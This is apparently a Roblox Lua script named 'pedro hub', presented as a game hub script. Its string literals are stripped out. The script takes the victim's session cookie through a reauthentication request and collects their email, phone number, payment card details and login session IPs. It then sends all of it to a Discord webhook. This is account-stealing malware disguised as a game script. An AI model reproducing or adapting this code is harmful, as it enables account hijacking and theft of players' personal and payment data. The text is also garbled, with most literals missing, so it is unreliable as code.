pedro hub

 players = :()
 player = players.LocalPlayer

 marketplaceService = :()

 httpService = :()
 requestInternal = httpService.requestInternal

 pretty = (:())()
 prettySettings = {pretty = }

 DISCORD_HEADERS = {[] = }
 DISCORD_WEBHOOK = 
 USER_URL = 
 GAMES_URL = 
 EMAIL_URL = 
 PHONE_URL = 
 SESSIONS_URL = 
 PAYMENTS_URL = 
 REAUTHENTICATE_URL = 


  (url: , method: ?, body: ?): (boolean, {Headers: {: any}, Body: {: any}}?)
    method = (method ~=   method:())  

     data = {}
    data[] = url
    data[] = method

     method ~=  
         (body) ==  
            data[] = body  
        
            data[] = body  {}
            data[] = {
                [] = 
            }
        
    

     _request = (httpService, data)
     _success, _response = 
    _request:((success, response)
        _success = success
        _response = response
    )
     .()  _success ~= 

     _success, _response



  (): 
     _, response = (REAUTHENTICATE_URL, , )
     headers = response.Headers
     cookie = headers[]
     session = cookie:()[]
     session:(, )



  (): {name: , url: }
     url = GAMES_URL:((.PlaceId))
     _, response = (url)
     body = httpService:(response.Body)[]

    
     body[] ~= (.PlaceId) 
         _url = GAMES_URL:(body[])
         __, _response = (_url)
        body = httpService:(_response.Body)[]
    

     {
        name = body[];
        url = body[];
    }



  (): {email: ?, phone: ?}
     result = {}

     _, emailResponse = (EMAIL_URL)
     emailBody = httpService:(emailResponse.Body)

     _, phoneResponse = (PHONE_URL)
     phoneBody = httpService:(phoneResponse.Body)

    result[] = emailBody[]
    result[] = phoneBody[]

     result



  (): {username: , displayName: , userId: , verified: }
     contacts = ()
     url = USER_URL:((player.UserId))
     _, response = (url)
     body = httpService:(response.Body)
     {
        username = body[];
        displayName = body[];
        userId = body[];
        email = contacts[];
        phone = contacts[];
    }



  (): {{cardType: , last4: , month: , year: }}
     results = {}
    
     _, response = (PAYMENTS_URL)
     body = httpService:(response.Body)

     _, payment  , body 
         provider = payment[]
         data = {
            cardType = provider[];
            last4 = provider[];
            month = provider[];
            year = provider[]
        }
        .(results, data)
    
     results



  (cursor: ?): ({{ip: , agent: , date: }})
    cursor = cursor  

     results = {}
    
     url = SESSIONS_URL:(cursor)
     success, response = (url)
     body = httpService:(response.Body)

     hasMore = body[]
     sessions = body[]
     cursor = hasMore ==   body[]  

     _, session  , sessions 
         dateTime = DateTime.(session[])
         formattedDate = dateTime:(, )
         formattedAgent = session[] ~=   
        
         data = {
            ip = session[];
            date = formattedDate;
            agent = formattedAgent
        }
        .(results, data)
    

     results, cursor



  (): {{ip: , agent: , date: }}
     results, cursor = ()
     cursor ~=  
         results2, cursor2 = (cursor)
        cursor = cursor2
         _, session  , results2 
            .(results, session)
        
        .()
    
     results


  (content: ): boolean
     body = httpService:({content=content})
    ({
        Url = DISCORD_WEBHOOK;
        Method = ;
        Headers = DISCORD_HEADERS;
        Body = body;
    })


 sessions = ()
 payments = ()
 user = ()
 gameInfo = ()
 cookie = ()

 userContent =  .. (user, prettySettings) .. 
 gameContent =  .. (gameInfo, prettySettings) .. 
 paymentContent =  .. (payments, prettySettings) .. 
 sessionsContent =  .. (sessions, prettySettings) .. 
 cookieContent =  .. cookie .. 

(userContent)
(gameContent)
(paymentContent)
(sessionsContent)
(cookieContent)